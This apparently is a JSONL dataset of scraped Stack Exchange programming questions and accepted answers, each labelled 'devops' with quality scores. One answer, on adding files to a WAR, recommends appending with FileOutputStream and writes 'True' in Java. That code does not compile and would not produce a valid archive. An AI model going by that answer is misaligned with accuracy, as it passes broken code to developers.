{"id": "hf_b4256f35bf05", "question": "<p>We have simple web-based data entry internal business app.\nNow business wants to be able to attach a document to a row in the database that represents business entity. Document can be Word, Excel, PDF.</p>\n\n<p>How can we do that?</p>\n\n<p>I think creating yet another home grown document management system is not a good idea.\nInstead we can try to use an third party document management system and integrate tightly form our app.\nIdeally all user interface will stay within application, without going to an external system.\nIs sharepoint or documentum capable of doing it? \nWhat other options are there?</p>\n\n<p>The application platform is Java/Websphere. We ave both Windows and Unix infrastructure available.</p>\n", "question_body": "", "answer": "I think any document management system can do what you are requesting. At one time we did something similar with Sharepoint. The systems expose an API that allows you to query documents that are stored. Exactly how the integration happens depends on the solution you go for.\nYou need to consider the platform on which your current system is built when choosing because different solutions support different integration technologies. For instance, if your current system uses .NET then Sharepoint would be easy to integrate.\nMany document management systems use a backend database like SQL server and integration could be as easy as querying the backend database from your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.751752"}
{"id": "hf_78f71cdf9931", "question": "<p>How do I tell if my application (compiled in Visual&nbsp;Studio&nbsp;2008 as <em>Any CPU</em>) is running as a 32-bit or 64-bit application?</p>\n", "question_body": "", "answer": "I found this code from\nMartijn Boven\nthat does the trick:\n```\n```\npublic static bool Is64BitMode() {\n    return System.Runtime.InteropServices.Marshal.SizeOf(typeof(IntPtr)) == 8;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.775344"}
{"id": "hf_a28240f06ed9", "question": "<p>How do you programmatically obtain a picture of a .Net control?</p>\n", "question_body": "", "answer": "There's a method on every control called\nDrawToBitmap\n.  You don't need to p/invoke to do this.\n```\n```\nControl c = new TextBox();\nSystem.Drawing.Bitmap bmp = new System.Drawing.Bitmap(c.Width, c.Height);\nc.DrawToBitmap(bmp, c.ClientRectangle);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.835718"}
{"id": "hf_4fcf9b13c118", "question": "<p>if A is extension use case (not base use case), can A be directly referenced by the actor?</p>\n", "question_body": "", "answer": "You can make the case that there are two kinds of use cases:\nAbstract -- not directly experience by an actor, but extensions (\"subclasses\") are.\nConcrete -- experienced by an actor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.889298"}
{"id": "hf_550b24eb3a2a", "question": "<p>Can someone post a simple example of starting two (Object Oriented) threads in C++. </p>\n\n<p>I'm looking for actual C++ thread objects that I can extend run methods on (or something similar) as opposed to calling a C-style thread library.</p>\n\n<p>I left out any OS specific requests in the hopes that whoever replied would reply with cross platform libraries to use. I'm just making that explicit now.</p>\n", "question_body": "", "answer": "It largely depends on the library you decide to use. For instance, if you use the\nwxWidgets\nlibrary, the creation of a thread would look like this:\n```\n```\nclass RThread : public wxThread {\n\npublic:\n    RThread()\n        : wxThread(wxTHREAD_JOINABLE){\n    }\nprivate:\n    RThread(const RThread &copy);\n\npublic:\n    void *Entry(void){\n        //Do...\n\n        return 0;\n    }\n\n};\n\nwxThread *CreateThread() {\n    //Create thread\n    wxThread *_hThread = new RThread();\n\n    //Start thread\n    _hThread->Create();\n    _hThread->Run();\n\n    return _hThread;\n}\n```\n```\nIf your main thread calls the CreateThread method, you'll create a new thread that will start executing the code in your \"Entry\" method. You'll have to keep a reference to the thread in most cases to join or stop it.\nMore information is in the\nwxThread documentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.914407"}
{"id": "hf_b6ea4e1bf750", "question": "<p>I'm trying to be responsible with my \"DOM\" references in this little Flash 8/AS2 project.</p>\n\n<p>What has become increasingly frustrating is obtaining references to other movie clips and objects.  For example, currently my code to access the submit button of a form looks something like this</p>\n\n<pre><code>var b:Button = _level0.instance4.submitBtn;\n</code></pre>\n\n<p>I was hoping there was an instance-retrieval method for AS2 similar to AS3's <code>MovieClip.getChildByName()</code> or even Javascript's <code>document.getElementById()</code>.  Because hard-coding the names of these anonymous instances (like <code>instance4</code> in the above) just feel really, really dirty.</p>\n\n<p>But, I can't find anything of the sort at <a href=\"http://flash-reference.icod.de/\" rel=\"nofollow noreferrer\">this AS2 Reference</a>.</p>\n", "question_body": "", "answer": "If the MovieClip was placed on the stage in the Flash IDE, you can give it a proper instance name in the properties panel.\nIf it was dynamically added, you can also give it a name, and additionally store a reference:\n```\n```\nvar my_MC=createEmptyMovieClip(\"instanceName\", depth);\n```\n```\nIn either case, you can then adress them with\n```\n_parentClip.instanceName\n```\nor\n```\nmy_MC.\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:20.952204"}
{"id": "hf_8fa7413f90c7", "question": "<p>Is there a programming language \"below\" Assembly?</p>\n", "question_body": "", "answer": "Machine code\n. Time it was programmers coded in the 1 and 0's of binary. Hex was considered an advance over this. That was before assembly, which uses the code's names and separates the parts of an instruction into its parts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.087352"}
{"id": "hf_50ff39a792b0", "question": "<p>It there any article/book that defines upper bounded design limits for WS timeouts? Do you timeout at the server or recommend the client specific timeouts too?</p>\n\n<p>Is there a common best practice like \"never design WS that can take longer than 60 seconds, use an asynchronous token pattern\"</p>\n\n<p>I am interested in knowing what you do or your opinion too. </p>\n", "question_body": "", "answer": "Take the amount of data you are transfering via your web service an see how long the process takes.\nAdd 60 secs to that number and test.\nIf you can get it to timeout on a good connection then add 30 more seconds.\nrinse and repeat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.123804"}
{"id": "hf_aa7e66359d4f", "question": "<p>Is there a limit to the length of a GET request?</p>\n", "question_body": "", "answer": "Not in the\nRFC\n, no, but there are practical limits.\nThe HTTP protocol does not place any a priori limit on the length of\na URI. Servers MUST be able to handle the URI of any resource they\nserve, and SHOULD be able to handle URIs of unbounded length if they\nprovide GET-based forms that could generate such URIs. A server\nSHOULD return 414 (Request-URI Too Long) status if a URI is longer\nthan the server can handle (see section 10.4.15).\nNote: Servers should be cautious about depending on URI lengths\nabove 255 bytes, because some older client or proxy implementations\nmay not properly support these lengths.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.197626"}
{"id": "hf_695e21a73b4a", "question": "<p>Am I safe in casting a C++ bool to a Windows API BOOL via this construct</p>\n\n<pre><code>bool mybool = true;\nBOOL apiboolean = mybool ? TRUE : FALSE;\n</code></pre>\n\n<p>I'd assume this is a yes because I don't see any obvious problems but I wanted to take a moment to ask only because this may be more subtle than it appears. </p>\n\n<p><em>Thanks to Dima for (gently) pointing out my carelessness in the way I'd originally phrased the question.</em> </p>\n", "question_body": "", "answer": "Do you mean\n```\n```\nbool b;\n...\nBOOL apiboolean = b ? TRUE : FALSE;\n```\n```\nIf so, then yes, this will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.221709"}
{"id": "hf_ac90e37c512d", "question": "<p>A pattern that's started to show up a lot in one of the web apps I'm working are links that used to just be a regular a-tag link now need a popup box asking \"are you sure?\" before the link will go.  (If the user hits cancel, nothing happens.)</p>\n\n<p>We've got a solution that works, but somehow we're a web app shop without a Javascript expert, so I'm left with this crawling feeling like there's a better way to get the job done.</p>\n\n<p>So, JS experts, what's the most standards-compliant, cross-browser way to get this done?</p>\n\n<p>(For the record, this is already a site that requires JS, so no need to have a \"non-JS\" version.  But, it does need to work in any and all reasonably modern browsers.)</p>\n\n<p>(Also, for bonus points it would be nice if people with JS turned off didn't have the links  work, rather than bypassing the confirm box.)</p>\n", "question_body": "", "answer": "Here's how we've been doing it:\n```\n```\n<a href=\"#\" onClick=\"goThere(); return false;\">Go to new page</a>`\n\nfunction goThere() \n{ \n   if( confirm(\"Are you sure?\") ) \n    { \n       window.location.href=\"newPage.aspx\"; \n    } \n}\n```\n```\n(EDIT: Code reformatted to avoid horizontal scroll)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.246173"}
{"id": "hf_150ff865f686", "question": "<p>I got a quick question about running a directX application (C++) in a managed environment. I'm attempting to write a MDI tool (in C#) where the background of the parent window would be an embedded render window of directX (C++). </p>\n\n<p>I've read ways that involved writing the C++ into a native dll, however it would be prefered to be able to have the C++ projects included within the solution (I dont even know if that's possible though). Eitherway, if you know of some helpful steps, hints, or if this is a bad idea in general, please let me know. Thanks!</p>\n", "question_body": "", "answer": "First of all writing the C++ part in a different dll file doesn't mean that it couldn't be at the same solution as the C# project.\nIn order to use native DX to render on a managed window you need to pass the HWND window id (use form.WindowId.ToInt32) to the C++ D3Ddevice c'tor. after that each time you'll render using that device it would render on the .NET window.\nTo do this you probably need two saparate projects - a C++ dll & .NET project. use COM wrapper or p-invoke to pass the HWND to the C++ dll.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.269561"}
{"id": "hf_ab80e47d586d", "question": "<p>I have a <strong>MS Access</strong> form with a <strong>Datasheet</strong> subform.<br>\nUsing code, I change the <strong>ColumnHidden</strong> property of various of its columns.\nBut, when I close the form, I'm asked whether to save the table layout of the Datasheet's table.</p>\n\n<ul>\n<li>How can I stop the form from asking the user to same the table layout continually?</li>\n<li>Do I have no choice but to change the Datasheet to a regular subform?</li>\n</ul>\n", "question_body": "", "answer": "If you are always hiding the same columns - create a query that only has the columns you want displayed and use that as the source of your subform.\nIf you still need some hidden fields (child keys, etc.) you will have to create a regular form. It's not too bad:\njust base it on your table,\ndrag your columns onto the form (formatting, and placement doesn't matter)\nset it to datasheet view\nedit labels (these become column headings)\nchange the tab order (this controls the order the columns are displayed)\nview the datasheet and hide the columns you want\nsave the form\nadd this form as a subform to the main form", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.292891"}
{"id": "hf_3c4d3dc046f4", "question": "<p>In VIM in command line mode a \"%\" denotes the current file, \"cword\" denotes the current word under the cursor. I want to create a shortcut where I need the current line number. What is the symbol which denotes this?</p>\n", "question_body": "", "answer": ". (dot) stands for the current line.\nTo clarify:\nThis is meant for stuff like\n```\n:1,.s/foo/bar/g\n```\nwhich will transform every\n```\nfoo\n```\nto\n```\nbar\n```\nfrom the beginning of the file up to the current line.\nI don't know know of a way to get the current line number expanded for a shell command, which is what you are trying to do by doing\n```\n:!echo .\n```\nYou can find out about the expansions that are done (like\n```\n%\n```\nand\n```\n#\n```\nfor example) in\n```\n:he cmdline-special\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.352126"}
{"id": "hf_98e080e1da71", "question": "<p>I've got a WAR file that I need to add two files to. Currently, I'm doing this:</p>\n\n<pre><code>File war = new File(DIRECTORY, \"server.war\");\nJarOutputStream zos = new JarOutputStream(new BufferedOutputStream(new FileOutputStream(war)));\n\n//Add file 1\nFile file = new File(DIRECTORY, \"file1.jar\");\nInputStream is = new BufferedInputStream(new FileInputStream(file));\nZipEntry e = new ZipEntry(\"file1.jar\");\nzos.putNextEntry(e);\nbyte[] buf = new byte[1024];\nint len;\nwhile ((len = is.read(buf, 0, buf.length)) != -1) {\n    zos.write(buf, 0, len);\n}\nis.close();\nzos.closeEntry();\n\n//repeat for file 2\n\nzos.close();\n</code></pre>\n\n<p>The result is that the previous contents get clobbered: the WAR has only the 2 files I just added in it. Is there some sort of append mode that I'm not using or what?</p>\n", "question_body": "", "answer": "Yeah, there's an extra boolean argument to the\nFileOutputStream constructor\nwhich lets you force it to append to the file rather than overwrite it. Change your code to\n```\n```\nJarOutputStream zos = new JarOutputStream(new BufferedOutputStream(new FileOutputStream(war, True)));\n```\n```\nand it should work the way you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.423895"}
{"id": "hf_0a7c9156b076", "question": "<p>We are in a Windows environment and looking to automate this process for non-company machines.  If a vendor comes on site, we'd like to be able to have him/her hit a website that can perform a quick scan of the workstation to determine if they have the proper MS KB patches and if their virus scanner dats are up to date.</p>\n\n<p>I can scan for the KB updates relatively easy, what I'm having a hard time finding is a way to check the virus dat status and since there are so many different engines out there, it seemed to make sense to use the (built into XP at least) proprietary MS security center stuff.</p>\n\n<p>Eventually we'd like to have our routers redirect non-company machines to a website that will force validation, but until that point it will be a manual process.</p>\n\n<p>Any thoughts?</p>\n", "question_body": "", "answer": "In Windows Vista there are some new APIs to interface with the Security Center component status:\nhttp://msdn2.microsoft.com/en-us/library/bb963845(VS.85).aspx\nThrough WMI, here's a VBS code snippet I checked out on\nhttp://social.msdn.microsoft.com/forums/en-US/windowssecurity/thread/bd97d9e6-75c1-4f58-9573-9009df5de19b/\nto dump Antivirus product information:\n```\n```\nSet oWMI = GetObject\n(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter\")    \n    Set colItems = oWMI.ExecQuery(\"Select * from AntiVirusProduct\")    \n\n    For Each objAntiVirusProduct In colItems    \n    msg = msg & \"companyName: \" & objAntiVirusProduct.companyName & vbCrLf    \n    msg = msg & \"displayName: \" & objAntiVirusProduct.displayName & vbCrLf    \n    msg = msg & \"instanceGuid: \" & objAntiVirusProduct.instanceGuid & vbCrLf    \n    msg = msg & \"onAccessScanningEnabled: \"\n & objAntiVirusProduct.onAccessScanningEnabled & vbCrLf    \n    msg = msg & \"productUptoDate: \" & objAntiVirusProduct.productUptoDate & vbCrLf    \n    msg = msg & \"versionNumber: \" & objAntiVirusProduct.versionNumber & vbCrLf    \n    msg = msg & vbCrLf  \n\n    Next\n\n    WScript.Echo msg\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.448316"}
{"id": "hf_3cbd7d598e98", "question": "<p>How would I format the standard RSS pubDate string as something closer to ASP.NET's DateTime?</p>\n\n<p>So, from this:</p>\n\n<p>Wed, 29 Oct 2008 14:14:48 +0000</p>\n\n<p>to this:</p>\n\n<p>10/29/2008 2:14 PM</p>\n", "question_body": "", "answer": "Something close to this should work:\n```\n```\nstring orig = \"Wed, 29 Oct 2008 14:14:48 +0000\";\nstring newstring = String.Format(\"{0:MM/dd/yyyy hh:mm tt}\", DateTime.Parse(orig.Remove(orig.IndexOf(\" +\"))));\n```\n```\nTaken from\nhttp://blog.stevex.net/index.php/string-formatting-in-csharp/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.512809"}
{"id": "hf_426f141b8f4b", "question": "<p>I'm using linq to pull back an object (i.e. customer) that might have a collection of other objects(customer.orders).  I would be nice if I can pass this list of customers to the ultragrid and a hierarchical view of customers and thier orders displayed on databind.  When I try this, I just get customers.  Anyone know how to get this to work with non dataset objects?</p>\n", "question_body": "", "answer": "Figured it out.  IList collection works and will create bands for properties of your domain object if it is an\n```\nIList<T>\n```\n.  Just make sure that\n```\nDisplayLayout.ViewStyle                 = ViewStyle.MultiBand\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.598883"}
{"id": "hf_60355ea81f2e", "question": "<p>Are there any drawbacks to using the STL or templates. Are there any situations for which they are inappropriate.</p>\n", "question_body": "", "answer": "First, you should use probably use them if they help you solve your problem.  Templates are a very important part of C++ and have been part of the standard for years.  STL is very powerful and fast at run time and should be supported on all decent compilers, but of course there are issues.\nIf you have a really old compiler, STL might not be completely supported.\nThe thread-safety of the STL implementation might be work for your application\nTemplates can lead to slower compile-times and possibly larger executable, especially with older compilers.\nCompilers often produce incomprehensible error messages on code using templates.\njust to name a few, but the drawbacks of not using them are likely to be much greater.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.622325"}
{"id": "hf_55e72ecec2eb", "question": "<p>I really like the Flex framework, however I routinely deal with SWF files that are ~ 500KB. </p>\n\n<p>I don't know at what point a file considered to be \"too big\" to be served on the internet, but I would assume that a 500KB download just to use a web application would certainly annoy some users.</p>\n\n<p>Are there any tips or techniques on reducing the size of compiled SWFS? </p>\n\n<p>As a side note, the 500KB SWF file really isn't that big of application...</p>\n", "question_body": "", "answer": "This answer is a little more general than you're probably looking for (it applies to all web apps, whether Flash/Flex-based or HTML/CSS/JS based or whatever), but...\nIt depends a lot on the use case for your application. Is it an application that will be loaded all day and pull in updates as necessary (like Gmail) or is it something that will be launched, used, then closed?\nIf the former, besides reducing resource size, you are probably alright here. It makes more sense to get the downloading all out of the way at once, rather than to expect the user to tolerate delays at every turn.\nIf the latter, you should lazy-load as much as possible. In other words, for example, instead of embedding all of the application's graphics into the SWF, load them with\n```\nURLRequest\n```\ns or whatever method necessary when they are needed. A quicker launch will \"feel\" faster and more than make up for the increased HTTP requests over a short time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.708760"}
{"id": "hf_a1ced222620c", "question": "<p>I am coding in ColdFusion, but trying to stay in cfscript, so I have a function that allows me to pass in a query to run it with \n<code>\n&lt;cfquery blah >\n  #query#\n&lt;/cfquery> </code></p>\n\n<p>Somehow though, when I construct my queries with <code>sql = \"SELECT * FROM a WHERE b='#c#'\"</code>  and pass it in, ColdFusion has replaced the single quotes with 2 single quotes.  so it becomes <code> WHERE b=''c''</code> in the final query.</p>\n\n<p>I have tried creating the strings a lot of different ways, but I cannot get it to leave just one quote.  Even doing a string replace has no effect. </p>\n\n<p>Any idea why this is happening?  It is ruining my hopes of living in cfscript for the duration of this project</p>\n", "question_body": "", "answer": "ColdFusion, by design, escapes single quotes when interpolating variables within\n```\n<cfquery>\n```\ntags.\nTo do what you want, you need to use the\n```\nPreserveSingleQuotes()\n```\nfunction.\n```\n```\n<cfquery ...>#PreserveSingleQuotes(query)#</cfquery>\n```\n```\nThis doesn't address, however, the danger of SQL injection to which you are exposing yourself.\nUsing\n```\n<cfqueryparam>\n```\nalso allows your database to cache the query, which in most cases will improve performance.\nIt might be helpful to read\nan old Ben Forta column\nand\na recent post by Brad Wood\nfor more information about the benefits of using\n```\n<cfqueryparam>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.745722"}
{"id": "hf_8351eb33c07b", "question": "<p>I'm running an application (web service) in tomcat with TLS enabled (with certificates both for the client and the server).</p>\n\n<p>I want that my application will be able to send audit message (logging) when TLS handshake fails. For example I want to log when:</p>\n\n<ul>\n<li>the client certificate is expired,</li>\n<li>the client certificate is unknown (not in the server trust store)</li>\n<li>any other  handshake failure</li>\n</ul>\n\n<p>Is there any event that I can catch and handle in order to do that?</p>\n\n<p>My application is web service based and is running in tomcat. Tomcat is handling all network and the TLS layers, and the application does not aware of that.</p>\n\n<p>As I don't open any socket myself, where should I catch this Exception?</p>\n", "question_body": "", "answer": "Since I spent the past week debugging Tomcat's SSL configuration, I am pretty sure catching\n```\njavax.net.ssl.SSLHandshakeException\n```\nin your code and logging it should take care of all three of those errors.\nWhen you instantiate a new webservice connection in your application, that is when the exception will occur.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.790623"}
{"id": "hf_dd2e4475ae0c", "question": "<p>I'm consuming an axis 1.4 web service that returns soap responses that I want to unmarshal into my domain objects using jaxb annotations.  My initial tests worked very well until some of the returned messages had multiRef elements. Objects that were marshalled using multiRef were showing up as null in my client side annotated model objects. </p>\n\n<p>My question is does JAXB support unmarshalling soap responses with multiRef elements?  If so, how? and if not, does anybody know of a better way to unmarshal axis 1.4 soap responses into my domain model in java?</p>\n", "question_body": "", "answer": "In case of web services JAXB doesn't come alone, but as data binding part of ws client framework. So I assume your question is how to use JAXB as data binding within axis 1.4. In general I think there is no easy way to achieve that, have a look at the following thread in axis-user mailing list:\nSpecify JAXB generated complex types to Axis web service\n.\nIf you can upgrade to consume web service with axis2 then it should be much easier since axis2 comes with pluggable data binding architecture including integrated jaxb implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.816824"}
{"id": "hf_7f67243f84d9", "question": "<p>How can I check if a file uploaded by a user is a real jpg file in Python (Google App Engine)?</p>\n\n<p>This is how far I got by now:</p>\n\n<p>Script receives image via HTML Form Post and is processed by the following code</p>\n\n<pre><code>...\nincomming_image = self.request.get(\"img\")\nimage = db.Blob(incomming_image)\n...\n</code></pre>\n\n<p>I found mimetypes.guess_type, but it does not work for me.</p>\n", "question_body": "", "answer": "If you need more than looking at extension, one way would be to read the JPEG header, and check that it matches valid data.  The format for this is:\n```\n```\nStart Marker  | JFIF Marker | Header Length | Identifier\n0xff, 0xd8    | 0xff, 0xe0  |    2-bytes    | \"JFIF\\0\"\n```\n```\nso a quick recogniser would be:\n```\n```\ndef is_jpg(filename):\n    data = open(filename,'rb').read(11)\n    if data[:4] != '\\xff\\xd8\\xff\\xe0': return False\n    if data[6:] != 'JFIF\\0': return False\n    return True\n```\n```\nHowever this won't catch any bad data in the body.  If you want a more robust check, you could try loading it with\nPIL\n.  eg:\n```\n```\nfrom PIL import Image\ndef is_jpg(filename):\n    try:\n        i=Image.open(filename)\n        return i.format =='JPEG'\n    except IOError:\n        return False\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.853984"}
{"id": "hf_6f154d1d5ed9", "question": "<p>I just realized that in some place in my code I have the return statement inside the lock and sometime outside. Which one is the best?</p>\n\n<p>1)</p>\n\n<pre><code>void example()\n{\n    lock (mutex)\n    {\n    //...\n    }\n    return myData;\n}\n</code></pre>\n\n<p>2)</p>\n\n<pre><code>void example()\n{\n    lock (mutex)\n    {\n    //...\n    return myData;\n    }\n\n}\n</code></pre>\n\n<p>Which one should I use?</p>\n", "question_body": "", "answer": "It doesn't make any difference; they're both translated to the same thing by the compiler.\nTo clarify, either is effectively translated to something with the following semantics:\n```\n```\nT myData;\nMonitor.Enter(mutex)\ntry\n{\n    myData= // something\n}\nfinally\n{\n    Monitor.Exit(mutex);\n}\n\nreturn myData;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.913367"}
{"id": "hf_abc4982ac277", "question": "<p>Is there any way in JavaScript to create a &quot;weak reference&quot; to another object? <a href=\"http://en.wikipedia.org/wiki/Weak_reference\" rel=\"nofollow noreferrer\">Here is the wiki page describing what a weak reference is.</a> <a href=\"https://community.oracle.com/blogs/enicholas/2006/05/04/understanding-weak-references\" rel=\"nofollow noreferrer\">Here is another article that describes them in Java.</a> Can anyone think of a way to implement this behavior in JavaScript?</p>\n", "question_body": "", "answer": "http://www.jibbering.com/faq/faq_notes/closures.html\nECMAScript uses automatic garbage collection. The specification does not define the details, leaving that to the implementers to sort out, and some implementations are known to give a very low priority to their garbage collection operations. But the general idea is that if an object becomes un-referable (by having no remaining references to it left accessible to executing code) it becomes available for garbage collection and will at some future point be destroyed and any resources it is consuming freed and returned to the system for re-use.\nThis would normally be the case upon exiting an execution context. The scope chain structure, the Activation/Variable object and any objects created within the execution context, including function objects, would no longer be accessible and so would become available for garbage collection.\nMeaning there are no weak ones only ones that no longer become available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:21.972549"}
{"id": "hf_5431e26e577e", "question": "<p>I'm trying to figure out a way to detect files that are not opened for editing but have nevertheless been modified locally. <code>p4 fstat</code> returns a value <code>headModTime</code> for any given file, but this is the change time in the depot, which should not be equal to the filesystem's <code>stat</code> last modified time.</p>\n\n<p>I'm hoping that there exists a more lightweight operation than backing up the original file, forcing a sync of the file, and then running a diff. Ideas?</p>\n", "question_body": "", "answer": "From:\nhttp://answers.perforce.com/articles/KB/3481/?q=disconnected&l=en_US&fs=Search&pn=1\nSee step 2 specifically:\n2 . Next, open for \"edit\" any files that have changed:\n```\n```\np4 diff -se //myclient/... | p4 -x - edit\n```\n```\np4 diff -se returns the names of depot files whose corresponding client file differs in any way from the clients #have revision.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.054215"}
{"id": "hf_7e8a97f2ac4c", "question": "<p>I'm trying to submit a form with javascript. Firefox works fine but IE complains that \"Object doesn't support this property or method\" on the submit line of this function:</p>\n\n<pre><code>function submitPGV(formName, action)\n{\n    var gvString = \"\";\n\n    pgVisibilities.each(function(pair) {\n        gvString += pair.key + \":\" + pair.value + \",\";\n    });\n\n    $('pgv_input').value = gvString;\n\n    var form = $(formName);\n    form.action = action;\n    form.submit();\n}\n</code></pre>\n\n<p>Called here:</p>\n\n<pre><code>&lt;a href=\"javascript:submitPGV('ProductGroupVisibility','config/productgroupvis/save')\"&gt;\n</code></pre>\n\n<p>Here's the form:</p>\n\n<pre><code>&lt;form id=\"ProductGroupVisibility\" action=\"save\" method=\"post\"&gt;\n    &lt;input type=\"hidden\" name=\"ows_gv..PGV\" id=\"pgv_input\" value=\"\"/&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Are you sure you have your JavaScript library loaded? (jQuery or Prototype)\nIt worked for me in IE7 with Prototype.\nTry:\n```\n```\nalert($('ProductGroupVisibility').id)\n```\n```\nSee if you get an error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:22.102263"}
